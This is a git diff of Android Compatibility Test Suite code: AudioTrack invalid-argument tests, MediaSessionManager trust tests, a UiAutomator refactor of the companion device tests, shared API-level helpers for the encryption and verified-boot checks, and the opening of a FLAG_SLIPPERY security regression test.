+ audioTrack[0] = new AudioTrack.Builder()
+ .setBufferSizeInBytes(BIGNUM)
+ .build();
+ });
+
+ // 0 and negative buffer size throw IllegalArgumentException
+ for (int bufferSize : new int[] {-BIGNUM, -1, 0}) {
+ assertThrows(IllegalArgumentException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setBufferSizeInBytes(bufferSize)
+ .build();
+ });
+ }
+
+ assertThrows(IllegalArgumentException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setEncapsulationMode(BIGNUM)
+ .build();
+ });
+
+ assertThrows(IllegalArgumentException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setPerformanceMode(BIGNUM)
+ .build();
+ });
+
+ // Invalid session id that is positive.
+ // (logcat error message vague)
+ assertThrows(UnsupportedOperationException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setSessionId(INVALID_SESSION_ID)
+ .build();
+ });
+
+ assertThrows(IllegalArgumentException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setTransferMode(BIGNUM)
+ .build();
+ });
+
+ // Specialty AudioTrack build errors.
+
+ // Bad audio encoding DRA expected unsupported.
+ try {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .setEncoding(AudioFormat.ENCODING_DRA)
+ .build())
+ .build();
+ // Don't throw an exception, maybe it is supported somehow, but warn.
+ // Note: often specialty audio formats are offloaded (see setOffloadedPlayback).
+ // AudioTrackSurroundTest and AudioTrackOffloadedTest can be used as examples.
+ Log.w(TAG, "ENCODING_DRA is expected to be unsupported");
+ audioTrack[0].release();
+ audioTrack[0] = null;
+ } catch (UnsupportedOperationException e) {
+ ; // OK expected
+ }
+
+ // Sample rate out of bounds.
+ // System levels caught on AudioFormat.
+ assertThrows(IllegalArgumentException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setSampleRate(BIGNUM)
+ .build())
+ .build();
+ });
+
+ // Invalid channel mask - caught here on use.
+ assertThrows(IllegalArgumentException.class, () -> {
+ audioTrack[0] = new AudioTrack.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setChannelMask(INVALID_CHANNEL_MASK)
+ .build())
+ .build();
+ });
+ } finally {
+ // Did we successfully complete for some reason but did not
+ // release?
+ if (audioTrack[0] != null) {
+ audioTrack[0].release();
+ audioTrack[0] = null;
+ }
+ }
+ }
+
/* Do not run in JB-MR1. will be re-opened in the next platform release.
public void testResourceLeakage() throws Exception {
final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index be2b066..b8cac31 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -40,6 +40,7 @@
import android.os.Looper;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
import android.test.InstrumentationTestCase;
import android.test.UiThreadTest;
import android.util.Log;
@@ -60,7 +61,9 @@
private static final String TAG = "MediaSessionManagerTest";
private static final int TIMEOUT_MS = 3000;
private static final int WAIT_MS = 500;
+ private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
+ private Context mContext;
private AudioManager mAudioManager;
private MediaSessionManager mSessionManager;
@@ -69,6 +72,7 @@
@Override
protected void setUp() throws Exception {
super.setUp();
+ mContext = getInstrumentation().getTargetContext();
mAudioManager = (AudioManager) getInstrumentation().getTargetContext()
.getSystemService(Context.AUDIO_SERVICE);
mSessionManager = (MediaSessionManager) getInstrumentation().getTargetContext()
@@ -510,6 +514,27 @@
}
}
+ public void testIsTrustedForMediaControl_withEnabledNotificationListener() throws Exception {
+ List<String> packageNames = getEnabledNotificationListenerPackages();
+ for (String packageName : packageNames) {
+ int packageUid =
+ mContext.getPackageManager().getPackageUid(packageName, /* flags= */ 0);
+ MediaSessionManager.RemoteUserInfo info =
+ new MediaSessionManager.RemoteUserInfo(packageName, /* pid= */ 0, packageUid);
+ assertTrue(mSessionManager.isTrustedForMediaControl(info));
+ }
+ }
+
+ public void testIsTrustedForMediaControl_withInvalidUid() throws Exception {
+ List<String> packageNames = getEnabledNotificationListenerPackages();
+ for (String packageName : packageNames) {
+ MediaSessionManager.RemoteUserInfo info =
+ new MediaSessionManager.RemoteUserInfo(
+ packageName, /* pid= */ 0, Process.myUid());
+ assertFalse(mSessionManager.isTrustedForMediaControl(info));
+ }
+ }
+
private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
for (int i = 0; i < tokens.size(); i++) {
if (tokens.get(i).equals(token)) {
@@ -542,6 +567,24 @@
new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
}
+ private List<String> getEnabledNotificationListenerPackages() {
+ List<String> listeners = new ArrayList<>();
+ String enabledNotificationListeners =
+ Settings.Secure.getString(
+ mContext.getContentResolver(),
+ ENABLED_NOTIFICATION_LISTENERS);
+ if (enabledNotificationListeners != null) {
+ String[] components = enabledNotificationListeners.split(":");
+ for (String componentString : components) {
+ ComponentName component = ComponentName.unflattenFromString(componentString);
+ if (component != null) {
+ listeners.add(component.getPackageName());
+ }
+ }
+ }
+ return listeners;
+ }
+
private class VolumeKeyLongPressListener
implements MediaSessionManager.OnVolumeKeyLongPressListener {
private final List<KeyEvent> mKeyEvents = new ArrayList<>();
diff --git a/tests/tests/mediaparser/AndroidTest.xml b/tests/tests/mediaparser/AndroidTest.xml
index e670a80..ce03968 100644
--- a/tests/tests/mediaparser/AndroidTest.xml
+++ b/tests/tests/mediaparser/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.media.apex" />
<object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
index e653979..a4393a7 100644
--- a/tests/tests/mediatranscoding/OWNERS
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -1,4 +1,4 @@
# Bug component: 761430
-hkuang@google.com
-chz@google.com
-lnilsson@google.com
+
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 3068f9f..43dfba1 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -28,6 +28,7 @@
"androidx.test.core",
"androidx.test.ext.junit",
"androidx.test.rules",
+ "androidx.test.uiautomator",
"compatibility-device-util-axt",
"ctstestrunner-axt",
"testng",
@@ -70,5 +71,5 @@
],
// Do not compress minijail policy files.
aaptflags: ["-0 .policy"],
- min_sdk_version : "29"
+ min_sdk_version: "29",
}
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
index 042224a..7da630e 100644
--- a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
@@ -53,7 +53,10 @@
val notificationsStatus by lazy { TextView(this) }
val bypassStatus by lazy { TextView(this) }
- val nameFilter by lazy { EditText(this).apply { hint = "Name Filter" } }
+ val nameFilter by lazy { EditText(this).apply {
+ hint = "Name Filter"
+ contentDescription = "name filter" // Do not change: used in the tests.
+ } }
val singleCheckbox by lazy { CheckBox(this).apply { text = "Single Device" } }
val watchCheckbox by lazy { CheckBox(this).apply { text = "Watch" } }
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index ca983e4..48082f7 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,2 +1 @@
-S
-Sv2
+12
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 51da24c..070cc44 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -36,7 +36,7 @@
public class BuildVersionTest extends TestCase {
private static final String LOG_TAG = "BuildVersionTest";
- private static final int EXPECTED_SDK = 31;
+ private static final int EXPECTED_SDK = 32;
private static final String EXPECTED_BUILD_VARIANT = "user";
private static final String EXPECTED_KEYS = "release-keys";
private static final String PLATFORM_RELEASES_FILE = "platform_releases.txt";
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index ee2ab83..b0307f1 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -16,11 +16,12 @@
package android.os.cts
+import android.app.Instrumentation
import android.companion.CompanionDeviceManager
import android.content.pm.PackageManager
import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
-import android.content.pm.PackageManager.FEATURE_LEANBACK
import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
+import android.content.pm.PackageManager.FEATURE_LEANBACK
import android.content.pm.PackageManager.PERMISSION_GRANTED
import android.net.MacAddress
import android.os.Binder
@@ -28,18 +29,17 @@
import android.os.Parcelable
import android.os.UserHandle
import android.platform.test.annotations.AppModeFull
-import android.test.InstrumentationTestCase
import android.util.Size
import android.util.SizeF
import android.util.SparseArray
-import android.view.accessibility.AccessibilityNodeInfo
-import android.view.accessibility.AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE
-import android.view.accessibility.AccessibilityNodeInfo.ACTION_SET_TEXT
-import android.widget.EditText
import android.widget.TextView
import androidx.test.InstrumentationRegistry
import androidx.test.runner.AndroidJUnit4
-import com.android.compatibility.common.util.MatcherUtils
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.BySelector
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.UiObject2
+import androidx.test.uiautomator.Until
import com.android.compatibility.common.util.MatcherUtils.hasIdThat
import com.android.compatibility.common.util.SystemUtil.eventually
import com.android.compatibility.common.util.SystemUtil.getEventually
@@ -50,66 +50,52 @@
import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
import com.android.compatibility.common.util.children
import com.android.compatibility.common.util.click
-import org.hamcrest.CoreMatchers.`is`
+import java.io.Serializable
import org.hamcrest.CoreMatchers.containsString
-import org.hamcrest.CoreMatchers.equalTo
-import org.hamcrest.Matcher
import org.hamcrest.Matchers.empty
import org.hamcrest.Matchers.not
+import org.junit.After
+import org.junit.Assert.assertFalse
import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
import org.junit.Assume.assumeFalse
import org.junit.Assume.assumeTrue
import org.junit.Before
-import org.junit.After
import org.junit.Test
import org.junit.runner.RunWith
-import java.io.Serializable
-
-const val COMPANION_APPROVE_WIFI_CONNECTIONS =
- "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
-const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
-const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
-const val SHELL_PACKAGE_NAME = "com.android.shell"
-const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
-const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
-val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
/**
* Test for [CompanionDeviceManager]
*/
@RunWith(AndroidJUnit4::class)
-class CompanionDeviceManagerTest : InstrumentationTestCase() {
-
- val cdm: CompanionDeviceManager by lazy {
- context.getSystemService(CompanionDeviceManager::class.java)
+class CompanionDeviceManagerTest {
+ companion object {
+ const val COMPANION_APPROVE_WIFI_CONNECTIONS =
+ "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
+ const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
+ const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
+ const val SHELL_PACKAGE_NAME = "com.android.shell"
+ const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+ const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
}
- val pm: PackageManager by lazy { context.packageManager }
+
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val uiDevice = UiDevice.getInstance(instrumentation)
+ private val context = instrumentation.targetContext
+ private val userId = context.userId
+ private val packageName = context.packageName!!
+
+ private val pm: PackageManager by lazy { context.packageManager }
private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
}
+
+ private val cdm: CompanionDeviceManager by lazy {
+ context.getSystemService(CompanionDeviceManager::class.java)
+ }
private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) }
- private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
- val userId = context.userId
- return runShellCommand("cmd companiondevice list $userId")
- .lines()
- .any {
- packageName in it && macAddress in it
- }
- }
-
- private fun isCdmAssociated(
- macAddress: String,
- packageName: String,
- vararg permissions: String
- ): Boolean {
- return runWithShellPermissionIdentity(ThrowingSupplier {
- cdm.isDeviceAssociatedForWifiConnection(packageName,
- MacAddress.fromString(macAddress), context.user)
- }, *permissions)
- }
-
@Before
fun assumeHasFeature() {
assumeTrue(hasFeatureCompanionDeviceSetup)
@@ -118,27 +104,26 @@
}
@After
- fun removeAllAssociations() {
+ fun cleanUp() {
// If the devices does not have the feature or is an Auto, the test didn't run, and the
// clean up is not needed (will actually crash if the feature is missing).
// See assumeHasFeature @Before method.
if (!hasFeatureCompanionDeviceSetup || isAuto) return
- val userId = context.userId
+ // Remove associations
val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
-
for (address in associations) {
runShellCommandOrThrow(
"cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
}
+
+ // Uninstall test app
+ uninstallAppWithoutAssertion(TEST_APP_PACKAGE_NAME)
}
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
fun testIsDeviceAssociated() {
- val userId = context.userId
- val packageName = context.packageName
-
assertFalse(isCdmAssociated(DUMMY_MAC_ADDRESS, packageName, MANAGE_COMPANION_DEVICES))
assertFalse(isShellAssociated(DUMMY_MAC_ADDRESS, packageName))
@@ -165,9 +150,6 @@
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
fun testDump() {
- val userId = context.userId
- val packageName = context.packageName
-
try {
runShellCommand(
"cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
@@ -183,13 +165,11 @@
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
fun testProfiles() {
- installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+ installApk("--user $userId $TEST_APP_APK_LOCATION")
startApp(TEST_APP_PACKAGE_NAME)
- waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
- .performAction(ACTION_SET_TEXT,
- bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
- waitForIdle()
+ uiDevice.waitAndFind(By.desc("name filter")).text = ""
+ uiDevice.waitForIdle()
click("Watch")
val device = getEventually({
@@ -224,13 +204,11 @@
// in Settings but not in TvSettings for Android TV devices (b/199224565).
assumeFalse(isTV)
- installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+ installApk("--user $userId $TEST_APP_APK_LOCATION")
startApp(TEST_APP_PACKAGE_NAME)
- waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
- .performAction(ACTION_SET_TEXT,
- bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
- waitForIdle()
+ uiDevice.waitAndFind(By.desc("name filter")).text = ""
+ uiDevice.waitForIdle()
val deviceForAssociation = getEventually({
click("Associate")
@@ -268,24 +246,35 @@
.filter { it.startsWith(pkg) }
.map { it.substringAfterLast(" ") }
}
+
+ private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
+ return runShellCommand("cmd companiondevice list $userId")
+ .lines()
+ .any {
+ packageName in it && macAddress in it
+ }
+ }
+
+ private fun isCdmAssociated(
+ macAddress: String,
+ packageName: String,
+ vararg permissions: String
+ ): Boolean {
+ return runWithShellPermissionIdentity(ThrowingSupplier {
+ cdm.isDeviceAssociatedForWifiConnection(packageName,
+ MacAddress.fromString(macAddress), context.user)
+ }, *permissions)
+ }
}
+private fun UiDevice.waitAndFind(selector: BySelector): UiObject2 =
+ wait(Until.findObject(selector), 1000)
+
private fun click(label: String) {
waitFindObject(byTextIgnoreCase(label)).click()
waitForIdle()
}
-fun hasClassThat(condition: Matcher<in String?>?): Matcher<AccessibilityNodeInfo> {
- return MatcherUtils.propertyMatches(
- "class",
- { obj: AccessibilityNodeInfo -> obj.className },
- condition)
-}
-
-fun bundleOf(vararg entries: Pair<String, Any>) = Bundle().apply {
- entries.forEach { (k, v) -> set(k, v) }
-}
-
operator fun Bundle.set(key: String, value: Any?) {
if (value is Array<*> && value.isArrayOf<Parcelable>()) {
putParcelableArray(key, value as Array<Parcelable>)
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
index 932cbaf..598996c 100644
--- a/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
@@ -32,6 +32,7 @@
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ThermalUtils;
import org.junit.After;
@@ -126,6 +127,12 @@
.times(1)).onThermalStatusChanged(status);
}
+ /**
+ * Test that getThermalHeadroom works
+ *
+ * @throws Exception
+ */
+ @CddTest(requirement="7.3.6")
@Test
public void testGetThermalHeadroom() throws Exception {
float headroom = mPowerManager.getThermalHeadroom(0);
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 2e0d0ef..53d8f4e 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -22,7 +22,9 @@
// Include both the 32 and 64 bit versions
compile_multilib: "both",
static_libs: [
+ "androidx.test.ext.junit",
"androidx.test.rules",
+ "androidx.test.runner",
"android-common",
"ctstestserver",
"ctstestrunner-axt",
@@ -56,6 +58,7 @@
],
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 675106f..f8402ec 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -56,6 +56,15 @@
</intent-filter>
</activity>
+ <activity android:name=".SlipperyEnterBottomActivity"
+ android:label="Slippery enter"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+ </intent-filter>
+ </activity>
+
<activity android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
android:label="Test Binder Exploit Race Condition activity"
android:exported="true">
diff --git a/tests/tests/security/native/Android.bp b/tests/tests/security/native/Android.bp
index c0cb8c5..bf840b6 100644
--- a/tests/tests/security/native/Android.bp
+++ b/tests/tests/security/native/Android.bp
@@ -28,5 +28,8 @@
":__subpackages__",
],
srcs: ["utils.cpp"],
+ shared_libs: [
+ "libbase",
+ ],
export_include_dirs: ["."],
}
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 2952105..e5d824c 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -37,17 +37,6 @@
#define R_API_LEVEL 30
#define S_API_LEVEL 31
-static int getFirstApiLevel(void) {
- int level = property_get_int32("ro.product.first_api_level", 0);
- if (level == 0) {
- level = property_get_int32("ro.build.version.sdk", 0);
- }
- if (level == 0) {
- ADD_FAILURE() << "Failed to determine first API level";
- }
- return level;
-}
-
#ifdef __arm__
// For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
// clang does not accept it. It would be allowed in a separate file compiled
@@ -203,6 +192,7 @@
// https://source.android.com/security/encryption/file-based.html
TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
int first_api_level = getFirstApiLevel();
+ int vendor_api_level = getVendorApiLevel();
char crypto_type[PROPERTY_VALUE_MAX];
struct fscrypt_get_policy_ex_arg arg;
int res;
@@ -219,10 +209,13 @@
property_get("ro.crypto.type", crypto_type, "");
GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'";
GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+ GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
// This feature name check only applies to devices that first shipped with
// SC or later.
- if(first_api_level >= S_API_LEVEL &&
+ int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
+ : vendor_api_level;
+ if (min_api_level >= S_API_LEVEL &&
!deviceSupportsFeature("android.hardware.security.model.compatible")) {
GTEST_SKIP()
<< "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
diff --git a/tests/tests/security/native/utils.cpp b/tests/tests/security/native/utils.cpp
index 373b00e..fb9b1ee 100644
--- a/tests/tests/security/native/utils.cpp
+++ b/tests/tests/security/native/utils.cpp
@@ -15,6 +15,10 @@
*/
#include <string>
+#include <vector>
+
+#include <android-base/properties.h>
+#include <gtest/gtest.h>
#include "utils.h"
@@ -34,4 +38,29 @@
pclose(p);
}
return device_supports_feature;
+}
+
+int getFirstApiLevel() {
+ int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
+ if (level == 0) {
+ level = android::base::GetIntProperty("ro.build.version.sdk", 0);
+ }
+ if (level == 0) {
+ ADD_FAILURE() << "Failed to determine first API level";
+ }
+ return level;
+}
+
+int getVendorApiLevel() {
+ std::vector<std::string> BOARD_API_LEVEL_PROPS = {
+ "ro.board.api_level", "ro.board.first_api_level", "ro.vndk.version",
+ "ro.vendor.build.version.sdk"};
+ const int API_LEVEL_CURRENT = 10000;
+ for (const auto& api_level_prop : BOARD_API_LEVEL_PROPS) {
+ int api_level = android::base::GetIntProperty(api_level_prop, API_LEVEL_CURRENT);
+ if (api_level != API_LEVEL_CURRENT) {
+ return api_level;
+ }
+ }
+ return API_LEVEL_CURRENT;
}
\ No newline at end of file
diff --git a/tests/tests/security/native/utils.h b/tests/tests/security/native/utils.h
index d6c651c..3176dbb 100644
--- a/tests/tests/security/native/utils.h
+++ b/tests/tests/security/native/utils.h
@@ -18,5 +18,7 @@
#define CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
bool deviceSupportsFeature(const char *feature);
+int getFirstApiLevel();
+int getVendorApiLevel();
#endif // CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 625ef66..bad6ef4 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -28,23 +28,14 @@
// The relevant Android API levels
constexpr auto S_API_LEVEL = 31;
-static int getFirstApiLevel() {
- int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
- if (level == 0) {
- level = android::base::GetIntProperty("ro.build.version.sdk", 0);
- }
- if (level == 0) {
- ADD_FAILURE() << "Failed to determine first API level";
- }
- return level;
-}
-
// As required by CDD, verified boot MUST use verification algorithms as strong
// as current recommendations from NIST for hashing algorithms (SHA-256).
// https://source.android.com/compatibility/11/android-11-cdd#9_10_device_integrity
TEST(VerifiedBootTest, avbHashtreeNotUsingSha1) {
int first_api_level = getFirstApiLevel();
+ int vendor_api_level = getVendorApiLevel();
GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+ GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
if (first_api_level < S_API_LEVEL) {
GTEST_LOG_(INFO)
<< "Exempt from avb hash tree test due to old starting API level";
@@ -52,12 +43,16 @@
}
// This feature name check only applies to devices that first shipped with
- // SC or later. The check above already screens out pre-S devices.
- if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
+ // SC or later.
+ int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
+ : vendor_api_level;
+ if (min_api_level >= S_API_LEVEL &&
+ !deviceSupportsFeature("android.hardware.security.model.compatible")) {
GTEST_SKIP()
<< "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
- return;
+ return;
}
+
android::fs_mgr::Fstab fstab;
ASSERT_TRUE(ReadDefaultFstab(&fstab)) << "Failed to read default fstab";
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index fbef044..13bcdf2 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -51,7 +51,9 @@
Context context = InstrumentationRegistry.getInstrumentation().getContext();
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+ final int firstApiLevel =
+ Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+ if (firstApiLevel >= Build.VERSION_CODES.S) {
// Assumes every test in this file asserts a requirement of CDD section 9.
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
!context.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
index 64b3c33..a0f2aea 100644
--- a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
@@ -62,7 +62,9 @@
mContext = InstrumentationRegistry.getInstrumentation().getContext();
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+ final int firstApiLevel =
+ Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+ if (firstApiLevel >= Build.VERSION_CODES.S) {
// Assumes every test in this file asserts a requirement of CDD section 9.
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
mContext.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
new file mode 100644
index 0000000..8fe8054
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.Instrumentation
+import android.graphics.Rect
+import android.os.SystemClock
+import android.platform.test.annotations.AsbSecurityTest
+import android.view.Gravity
+import android.view.InputDevice
+import android.view.MotionEvent
+import android.view.SurfaceControlViewHost
+import android.view.SurfaceHolder
+import android.view.SurfaceView
+import android.view.View
+import android.view.WindowManager
+import android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
+import android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+import androidx.test.core.app.ActivityScenario
+import androidx.test.ext.junit.rules.ActivityScenarioRule
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.PollingCheck
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertNull
+import org.junit.Assert.fail
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+import java.util.concurrent.atomic.AtomicBoolean
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.Queue
+
+val FLAG_SLIPPERY = 0x20000000 // android.view.WindowManager.LayoutParams.FLAG_SLIPPERY
+
+private fun getViewCenterOnScreen(v: View): Pair<Float, Float> {
+ val location = IntArray(2)
+ v.getLocationOnScreen(location)
+ val x = location[0] + v.width / 2f
